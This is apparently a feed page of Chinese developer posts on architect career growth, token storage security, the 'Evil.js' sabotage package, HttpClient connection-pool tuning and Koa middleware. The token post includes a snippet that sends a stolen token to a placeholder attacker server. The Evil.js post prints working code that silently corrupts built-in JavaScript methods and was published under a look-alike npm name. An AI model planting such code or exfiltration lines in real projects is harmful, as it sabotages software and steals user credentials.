从初级到中级,到高级,再到主程、再到TL,技术经理,再到架构师,再到负责人。当完成任务的时候,是最基本的事情,深入的时候,从coding入手,在代码上有所追求,比如说可读性,用用设计模式,再深入想到代码可扩展性。。。

当你了解下一个层级的要求的时候,有了目标才能有效的突破它。

突破层级的难度

这是在上一个原因基础上一个加强版,你了解了各个层级的要求,但是突破这些要求,可能由于阅历,或者能力,或者天赋不足,导致突破困难。


这里我想聊聊架构师的思考,之前在转正答辩上,一个领导问我你怎么理解架构的,我当时没有概念,但是接触相关工作以及观看相关文章,有了更深理解。

  • 腾讯工程师,万字长文说 Code Review

这里讲的是coding部分,属于架构师负责的一部分,规范

我不禁想想平时什么工作内容涉及到这个?

比如说契约,规定了依赖jar版本;定义了协议,什么类型输出的格式,转换的类型;开发的规范,设计文档的样式;像文中review的过程,确实比较少,目的是为了减少代码的坏味道。就像文中讲到,如果你定义的一个规范,可以在300+人里面hold,让系统一直在正常迭代,那么算合格的架构师。

一次广义上review

我一般下班会遇到基础服务的小伙伴聊聊天,我说话很少,就喜欢听听别人聊点什么,他跟我聊了几天,我发现问题是现有商品代码已经不足以支持业务的快速迭代,因为冗余其他东西太多了。比如说一个毛胚商品,然后它也快速的加上其他属性,变成一个加工品。但是现在场景变成了它就是一个加工品,你想拆成其他加工品,很困难,就是字段冗余到商品表里头了。

这个时候到架构已经不适合业务快速迭代了,需要重构,大破大立,还需要大佬牵头。review狭义上是代码层发现问题,如果你从一线同学那里听到的东西,能发现问题,也是一种review。

架构师不止规范,需要深度

需要什么深度呢?

从一个做需求的点看,从需求理解,这个是业务深度,从设计文档上,严谨程度,扩展性、风险点、可行性,设计深度。从开发阶段,coding,技术规范,技术功底,这个是技术深度

跳出需求的点,从大的面来看,需求为了解决什么问题,不做行不行,业务价值在哪里?做了这一期还有后续吗,这是业务的前景。然后规划是怎样的,先从哪里入手,然后有木有计划去推进?这是思考的深度

抽象的能力

  • 大咖们如何评判优秀架构师?

里面反复提到抽象的能力,比如说逻辑、物理架构图,这个有助于你理解整个系统的调用关系,形成闭环,可以从全局的角度去理解,我当前做的需求在什么位置,为了解决什么问题。

再到通过问题看到本质,从技术方案看到实质。有一次一位同学跟我探讨DDD,跟我说防腐层不应该是这样写的,你只是用了策略模式去写,应该有个一个门面,然后后面是实现逻辑。我听到这里就明白他被绕进去了,DDD是一个思想,他幻化出来一些对应的框架,它的精髓是高内聚、低耦合。你说策略模式,能否将外部rpc调用分隔开呢?当然可以,它算不算防腐层呢?也算~

最近一次做代码优化的时候,我用了责任链的设计模式,将190行的代码,拆分成4个模块,每个类大概30行,当然190行包括换行。但是实际效果除了行数变少外,每个模块分工特别清晰,这个模块在处理特定的逻辑,当某部分有问题的时候,直接找到那个模块修改即可。(这就是高内聚的魅力)

抽象另一种体现:模块化

最近在牵头做账单,其实我也没做过,我就找了几篇大厂的文章看看,拿来吧你,哈哈


分为几个步骤,下载账单,解析账单,对账,差异处理(平账)。是不是瞬间有了几个模块,文件模块,包括上传、下载,解析文件对吧。然后是账单模块,可能会分成订单,还有一些退款的,然后是对账处理结果,属于对账模块,文件解析出来的东西跟账单对比,哪些是对的上的,哪些又是异常的,这个模块还有后续的处理结果,自动平账,或者人工处理。

模块化也是高内聚的体现,这就是DDD的思想,只不过人家现在有名头而已~

运气

这个就不展开了,有点玄学,也看投胎,也看老天赏不赏饭吃。我觉得嘛,不管有没有有运气,都要不卑不亢,努力提升自己,很多结果我们决定不了的,但是过程我们可以说了算,人生不也是这样嘛,那就好好享受过程吧~


最后


《矛盾论》,还是里面的观点,我们需要全面的认识自己的定位,找到自己的优势,不断突破自我。有些厉害,只是暂时性的,而长远来看,只是冰山一角。


作者:大鸡腿同学
来源:juejin.cn/post/7133246541623459847

收起阅读 »

token到底该怎么存?你想过这个问题吗?

web
首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。从XSS角度看但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?因为本地存储是可以被JS任意读写...
继续阅读 »

token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。

首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。

如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。

从XSS角度看

XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。

但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?

localStorage

因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。

  // XSS
 const token = localStorage.getItem('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

cookie

如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。

  // 以下代码来自MDN
 // https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
 const getCookie = (key) => {
   return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}

 const token = getCookie('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

好在cookie提供了HttpOnly属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。


以下是express定义的一个登录接口示例:

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; HttpOnly`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。

这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。

从CSRF角度看

localStorage

从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。

cookie

因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。

防御cookie带来的CSRF攻击有如下方案:

csrfToken

通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;

这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。

SameSite

cookie有个SameSite属性,它有三种取值(引用自MDN):

  • None

    • 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。

  • Strict

    • 浏览器将只在访问相同站点时发送 cookie。

  • Lax

    • 与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。

设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。

SameSite的兼容性:


未来的完美解决方案(SameParty)

cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。

这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。

具体使用:

1、在各个域名下的/.well-known/first-party-set路径下,配置一个JSON文件。

主域名:

 {
  "owner": "主域名",
  "version": 1,
  "members": ["其他域名1", "其他域名2"]
}

其他域名:

 {
  "owner": "当前域名"
}

2、服务端设置SameParty

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。

总结

序号方式是否存在远程XSS是否存在CSRF是否支持SSO兼容性
1localStorage
2cookie,未开启HttpOnly,SameSite为None
3cookie,未开启HttpOnly,SameSite为None,增加csrfToken
4cookie,开启HttpOnly,SameSite为NoneIE8之后
5使用cookie,开启HttpOnly,设置了SameSite非NoneIE10之后,IE11部分;Chrome50之后
  1. 如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。

  2. 如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。

  3. 将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。

  4. 如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。

  5. 如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。

总的来说,cookie的优势是多余localStorage的。

我们的做法

因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。

  • 开启HttpOnly,SameSite为none

  • 认证中心获取code,子系统通过code换取token

  • 接口全部采用post方式

  • 配置跨域白名单

  • 使用https

参考

juejin.cn/post/7002011181221167118


作者:Ytiona
来源:juejin.cn/post/7133940034675638303

收起阅读 »

火爆全网的 Evil.js 源码解读

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:什么?黑心996公司要让你提桶跑路了?想在离开前给你们的项目留点小 礼物 ?偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:当数组长度可以被7整除时,Ar...
继续阅读 »

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:

什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

当数组长度可以被7整除时,Array.includes 永远返回false。
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。

并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。


如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。


现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。


image.png

作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。

立即执行函数

代码整体是一个立即执行函数,

(global => {

})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:
(global => {

})((0, eval)('this'));

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。


作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes


注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。


map方法


当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

如何判断周日?new Date().getDay() === 0即可。


这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。


filter方法


Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

includes一样,不多介绍了。

setTimeout方法

setTimeout总是会比预期时间慢1秒才触发

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。


Date.getTime


Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}



链接:https://juejin.cn/post/7133134875426553886
收起阅读 »

HttpClient 在vivo内销浏览器的高并发实践优化

web
HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些...
继续阅读 »

HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些优化空间。

一、问题现象

北京时间X月X日,浏览器信息流服务监控出现异常,主要表现在以下三个方面:

  1. 从某个时间点开始,云监控显示部分Http接口的熔断器被打开,而且从明细列表可以发现问题机器:

图片

2. 从PAAS平台Hystrix熔断管理界面中可以进一步确认问题机器的所有Http接口调用均出现了熔断:

3. 日志中心有大量从Http连接池获取连接的异常:org.apache.http.impl.execchain.RequestAbortedException: Request aborted。

二、问题定位

综合以上三个现象,大概可以推测出问题机器的TCP连接管理出了问题,可能是虚拟机问题,也可能是物理机问题;与运维与系统侧沟通后,发现虚拟机与物理机均无明显异常,第一时间联系运维重启了问题机器,线上问题得到解决。

2.1 临时解决方案

几天以后,线上部分其他机器也陆续出现了上述现象,此时基本可以确认是服务本身有问题;既然问题与TCP连接相关,于是联系运维在问题机器上建立了一个作业查看TCP连接的状态分布:

netstat -ant|awk '/^tcp/ {++S[$NF]} END {for(a in S) print (a,S[a])}'
复制代码

结果如下:

如上图,问题机器的CLOSE_WAIT状态的连接数已经接近200左右(该服务Http连接池最大连接数设置的250),那问题直接原因基本可以确认是CLOSE_WAIT状态的连接过多导致的;本着第一时间先解决线上问题的原则,先把连接池调整到500,然后让运维重启了机器,线上问题暂时得到解决。

2.2 原因分析

调整连接池大小只是暂时解决了线上问题,但是具体原因还不确定,按照以往经验,出现连接无法正常释放基本都是开发者使用不当,在使用完成后没有及时关闭连接;但很快这个想法就被否定了,原因显而易见:当前的服务已经在线上运行了一周左右,中间没有经历过发版,以浏览器的业务量,如果是连接使用完没有及时关。

闭,250的连接数连一分钟都撑不到就会被打爆。那么问题就只能是一些异常场景导致的连接没有释放;于是,重点排查了下近期上线的业务接口,尤其是那种数据包体较大,响应时间较长的接口,最终把目标锁定在了某个详情页优化接口上;先查看处于CLOSE_WAIT状态的IP与端口连接对,确认对方服务器IP地址。

netstat-tulnap|grep CLOSE_WAIT
复制代码

图片

经过与合作方确认,目标IP均来自该合作方,与我们的推测是相符的。

2.3 TCP抓包

在定位问题的同时,也让运维同事帮忙抓取了TCP的数据包,结果表明确实是客户端(浏览器服务端)没返回ACK结束握手,导致挥手失败,客户端处于了CLOSE_WAIT状态,数据包的大小也与怀疑的问题接口相符。

图片

为了方便大家理解,我从网上找了一张图,大家可以作为参考:

图片

CLOSE_WAIT是一种被动关闭状态,如果是SERVER主动断开的连接,那么就会在CLIENT出现CLOSE_WAIT的状态,反之同理;

通常情况下,如果客户端在一次http请求完成后没有及时关闭流(tcp中的流套接字),那么超时后服务端就会主动发送关闭连接的FIN,客户端没有主动关闭,所以就停留在了CLOSE_WAIT状态,如果是这种情况,很快连接池中的连接就会被耗尽。

所以,我们今天遇到的情况(处于CLOSE_WAIT状态的连接数每天都在缓慢增长),更像是某一种异常场景导致的连接没有关闭。

2.4 独立连接池

为了不影响其他业务场景,防止出现系统性风险,我们先把问题接口连接池进行了独立管理。

2.5 深入分析

带着2.3的疑问我们仔细查看一下业务调用代码:

try {
httpResponse = HttpsClientUtil.getHttpClient().execute(request);
HttpEntity httpEntity = httpResponse.getEntity();
is = httpEntity.getContent();
}catch (Exception e){
log.error("");
}finally {
IOUtils.closeQuietly(is);
IOUtils.closeQuietly(httpResponse);
}
复制代码

这段代码存在一个明显的问题:既关闭了数据传输流( IOUtils.closeQuietly(is)),也关闭了整个连接(IOUtils.closeQuietly(httpResponse)),这样我们就没办法进行连接的复用了;但是却更让人疑惑了:既然每次都手动关闭了连接,为什么还会有大量CLOSE_WAIT状态的连接存在呢?

如果问题不在业务调用代码上,那么只能是这个业务接口具有的某种特殊性导致了问题的发生;通过抓包分析发现该接口有一个明显特征:接口返回报文较大,平均在500KB左右。那么问题就极有可能是报文过大导致了某种异常,造成了连接不能被复用也不能被释放。

2.6 源码分析

开始分析之前,我们需要了解一个基础知识:Http的长连接和短连接。所谓长连接就是建立起连接之后,可以复用连接多次进行数据传输;而短连接则是每次都需要重新建立连接再进行数据传输。

而通过对接口的抓包我们发现,响应头里有Connection:keep-live字样,那我们就可以重点从HttpClient对长连接的管理入手来进行代码分析。

2.6.1 连接池初始化

初始化方法:

图片

进入PoolingHttpClientConnectionManager这个类,有一个重载构造方法里包含连接存活时间参数:

图片

顺着继续向下查看

图片

manager的构造方法到此结束,我们不难发现validityDeadline会被赋值给expiry变量,那我们接下来就要看下HttpClient是在哪里使用expiry这个参数的;

通常情况下,实例对象被构建出来的时候会初始化一些策略参数,此时我们需要查看构建HttpClient实例的方法来寻找答案:

图片

此方法包含一系列的初始化操作,包括构建连接池,给连接池设置最大连接数,指定重用策略和长连接策略等,这里我们还注意到,HttpClient创建了一个异步线程,去监听清理空闲连接。

当然,前提是你打开了自动清理空闲连接的配置,默认是关闭的。

图片

图片

接着我们就看到了HttpClient关闭空闲连接的具体实现,里面有我们想要看到的内容:

图片

图片

此时,我们可以得出第一个结论:可以在初始化连接池的时候,通过实现带参的PoolingHttpClientConnectionManager构造方法,修改validityDeadline的值,从而影响HttpClient对长连接的管理策略。

2.6.2 执行方法入口

先找到执行入口方法:org.apache.http.impl.execchain.MainClientExec.execute,看到了keepalive相关代码实现:

图片

我们来看下默认的策略:

图片

图片

由于中间的调用逻辑比较简单,就不在这里一一把调用的链路贴出来了,这边直接给结论:HttpClient对没有指定连接有效时间的长连接,有效期设置为永久(Long.MAX_VALUE)。

综合以上分析,我们可以得出最终结论:

HttpClient通过控制newExpiry和validityDeadline来实现对长连接的有效期的管理,而且对没有指定连接有效时间的长连接,有效期设置为永久。

至此我们可以大胆给出一个猜测:长连接的有效期是永久,而因为某种异常导致长连接没有被及时关闭,而永久存活了下来,不能被复用也不能被释放。(只是根据现象的猜测,虽然最后被证实并不完全正确,但确实提高了我们解决问题的效率)。

基于此,我们也可以通过改变这两个参数来实现对长连接的管理:

图片

这样简单修改上线后,处于close_wait状态的连接数没有再持续增长,这个线上问题也算是得到了彻底的解决。

但此时相信大家也都存在一个疑问:作为被广泛使用的开源框架,HttpClient难道对长连接的管理这么粗糙吗?一个简单的异常调用就能导致整个调度机制彻底崩溃,而且不会自行恢复;

于是带着疑问,再一次详细查看了HttpClient的源码。

三、关于HttpClient

3.1 前言

开始分析之前,先简单介绍下几个核心类:

  • 【PoolingHttpClientConnectionManager】:连接池管理器类,主要作用是管理连接和连接池,封装连接的创建、状态流转以及连接池的相关操作,是操作连接和连接池的入口方法;

  • 【CPool】:连接池的具体实现类,连接和连接池的具体实现均在CPool以及抽象类AbstractConnPool中实现,也是分析的重点;

  • 【CPoolEntry】:具体的连接封装类,包含连接的一些基础属性和基础操作,比如连接id,创建时间,有效期等;

  • 【HttpClientBuilder】:HttpClient的构造器,重点关注build方法;

  • 【MainClientExec】:客户端请求的执行类,是执行的入口,重点关注execute方法;

  • 【ConnectionHolder】:主要封装释放连接的方法,是在PoolingHttpClientConnectionManager的基础上进行了封装。

3.2 两个连接

  • 最大连接数(maxTotal)

  • 最大单路由连接数(maxPerRoute)

  • 最大连接数,顾名思义,就是连接池允许创建的最大连接数量;

  • 最大单路由连接数可以理解为同一个域名允许的最大连接数,且所有maxPerRoute的总和不能超过maxTotal。

    以浏览器为例,浏览器对接了头条和一点,为了做到业务隔离,不相互影响,可以把maxTotal设置成500,而defaultMaxPerRoute设置成400,主要是因为头条的业务接口量远大于一点,defaultMaxPerRoute需要满足调用量较大的一方。

3.3 三个超时

  • connectionRequestTimout

  • connetionTimeout

  • socketTimeout

  • **【connectionRequestTimout】:**指从连接池获取连接的超时时间;

  • 【connetionTimeout】:指客户端和服务器建立连接的超时时间,超时后会报ConnectionTimeOutException异常;

  • 【socketTimeout】:指客户端和服务器建立连接后,数据传输过程中数据包之间间隔的最大时间,超出后会抛出SocketTimeOutException。

一定要注意:这里的超时不是数据传输完成,而只是接收到两个数据包的间隔时间,这也是很多线上诡异问题发生的根本原因。

3.4 四个容器

  • free

  • leased

  • pending

  • available

  • **【free】:**空闲连接的容器,连接还没有建立,理论上freeSize=maxTotal -leasedSize

  • - availableSize(其实HttpClient中并没有该容器,只是为了描述方便,特意引入的一个容器)。

  • 【leased】:租赁连接的容器,连接创建后,会从free容器转移到leased容器;也可以直接从available容器租赁连接,租赁成功后连接被放在leased容器中,此种场景主要是连接的复用,也是连接池的一个很重要的能力。

  • 【pending】:等待连接的容器,其实该容器只是在等待连接释放的时候用作阻塞线程,下文也不会再提到,感兴趣的可以参考具体实现代码,其与connectionRequestTimout相关。

  • 【available】:可复用连接的容器,通常直接从leased容器转移过来,长连接的情况下完成通信后,会把连接放到available列表,一些对连接的管理和释放通常都是围绕该容器进行的。

注:由于存在maxTotal和maxPerRoute两个连接数限制,下文在提到这四种容器时,如果没有带前缀,都代表是总连接数,如果是r.xxxx则代表是路由连接里的某个容器大小。

maxTotal的组成

3.5 连接的产生与管理

  1. 循环从available容器中获取连接,如果该连接未失效(根据上文提到的expiry字段判断),则把该连接从available容器中删除,并添加到leased容器,并返回该连接;

  2. 如果在第一步中没有获取到可用连接,则判断r.available + r.leased是否大于maxPerRoute,其实就是判断是否还有free连接;如果不存在,则需要把多余分配的连接释放掉(r. available + r.leased - maxPerRoute),来保证真实的连接数受maxPerRoute控制(至于为什么会出现r.leased+r.available>maxPerRoute的情况其实也很好理解,虽然在整个状态流转过程都加了锁,但是状态的流转并不是原子操作,存在一些异常的场景都会导致状态短时间不正确);所以我们可以得出结论,maxPerRoute只是一个理论上的最大数值,其实真实产生的连接数在短时间内是可能大于这个值的;

  3. 在真实的连接数(r .leased+ r .available)小于maxPerRoute且maxTotal>leased的情况下:如果free>0,则重新创建一个连接;如果free=0,则把available容器里的最早创建的一个连接关闭掉,然后再重新创建一个连接;看起来有点绕,其实就是优先使用free容器里的连接,获取不到再释放available容器里的连接;

  4. 如果经过上述过程仍然没有获取到可用连接,那就只能等待一个connectionRequestTimout时间,或者有其他线程的信号通知来结束整个获取连接的过程。

图片

3.6 连接的释放

  1. 如果是长连接(reusable),则把该连接从leased容器中删除,然后添加到available容器的头部,设置有效期为expiry;

  2. 如果是短连接(non-reusable),则直接关闭该连接,并且从released容器中删除,此时的连接被释放,处于free容器中;

  3. 最后,唤醒“连接的产生与管理“第四部中的等待线程。

整个过程分析完,了解了httpclient如何管理连接,再回头来看我们遇到的那个问题就比较清晰了:

正常情况下,虽然建立了长连接,但是我们会在finally代码块里去手动关闭,此场景其实是触发了“连接的释放”中的步骤2,连接直接被关闭;所以正常情况下是没有问题的,长连接其实并没有发挥真正的作用;

那问题自然就只能出现在一些异常场景,导致了长连接没有被及时关闭,结合最初的分析,是服务端主动断开了连接,那大概率出现在一些超时导致连接断开的异常场景,我们再回到org.apache.http.impl.execchain.MainClientExec这个类,发现这样几行代码:

图片

**connHolder.releaseConnection()**对应“连接的释放”中提到的步骤1,此时连接只是被放入了available容器,并且有效期是永久;

**return new HttpResponseProxy(response, null)**返回的ConnectionHolder是null,结合IOUtils.closeQuietly(httpResponse)的具体实现,连接并没有及时关闭,而是永久的放在了available容器里,并且状态为CLOSE_WAIT,无法被复用;

图片

根据 “连接的产生与管理”的步骤3的描述,在free容器为空的时候httpclient是能够主动释放available里的连接的,即使连接永久的放在了available容器里,理论上也不会造成连接永远无法释放;

然而再结合“连接的产生与管理”的步骤4,当free容器为空了以后,从连接池获取连接时需要等待available容器里的连接被释放掉,整个过程是单线程的,效率极低,势必会造成拥堵,最终导致大量等待获取连接超时报错,这也与我们线上看到的场景相吻合。

四、总结

  1. 连接池的主要功能有两个:连接的管理和连接的复用,在使用连接池的时候一定要注意只需关闭当前数据流,而不要每次都关闭连接,除非你的目标访问地址是完全随机的;

  2. maxTotal和maxPerRoute的设置一定要谨慎,合理的分配参数可以做到业务隔离,但如果无法准确做出评估,可以暂时设置成一样,或者用两个独立的httpclient实例;

  3. 一定记得要设置长连接的有效期,用

    PoolingHttpClientConnectionManager(60, TimeUnit.SECONDS)构造函数,尤其是调用量较大的情况,防止发生不可预知的问题;

  4. 可以通过设置evictIdleConnections(5, TimeUnit.SECONDS)定时清理空闲连接,尤其是http接口响应时间短,并发量大的情况下,及时清理空闲连接,避免从连接池获取连接的时候发现连接过期再去关闭连接,能在一定程度上提高接口性能。

五、写在最后

HttpClient作为当前使用最广泛的基于Java语言的Http调用框架,在笔者看来其存在两点明显不足:

  1. 没有提供监控连接状态的入口,也没有提供能外部介入动态影响连接生命周期的扩展点,一旦线上出现问题可能就是致命的;

  2. 此外,其获取连接的方式是采用同步锁的方式,在并发较高的情况下存在一定的性能瓶颈,而且其对长连接的管理方式存在问题,稍不注意就会导致建立大量异常长连接而无法及时释放,造成系统性灾难。


作者:Zhi Guangquan-vivo互联网技术
来源:juejin.cn/post/7131908954522648606
收起阅读 »

【Node】深入浅出 Koa 的洋葱模型

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~什么是洋葱模型先来看一个 democonst Koa = require...
继续阅读 »

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~

什么是洋葱模型

先来看一个 demo

const Koa = require('koa');
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(8000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

输出的结果是:

1
3
4
2

koa 中,中间件被 next() 方法分成了两部分。next() 方法上面部分会先执行,下面部门会在后续中间件执行全部结束之后再执行。可以通过下图直观看出:



在洋葱模型中,每一层相当于一个中间件,用来处理特定的功能,比如错误处理、Session 处理等等。其处理顺序先是 next() 前请求(Request,从外层到内层)然后执行 next() 函数,最后是 next() 后响应(Response,从内层到外层),也就是说每一个中间件都有两次处理时机



为什么 Koa 使用洋葱模型


假如不是洋葱模型,我们中间件依赖于其他中间件的逻辑的话,我们要怎么处理?


比如,我们需要知道一个请求或者操作 db 的耗时是多少,而且想获取其他中间件的信息。在 koa 中,我们可以使用 async await 的方式结合洋葱模型做到。

app.use(async(ctx, next) => {
const start = new Date();
await next();
const delta = new Date() - start;
console.log (`请求耗时: ${delta} MS`);
console.log('拿到上一次请求的结果:', ctx.state.baiduHTML);
})

app.use(async(ctx, next) => {
// 处理 db 或者进行 HTTP 请求
ctx.state.baiduHTML = await axios.get('http://baidu.com');
})


而假如没有洋葱模型,这是做不到的。

深入 Koa 洋葱模型

我们以文章开始时候的 demo 来分析一下 koa 内部的实现。

const Koa = require('koa');

//Applications
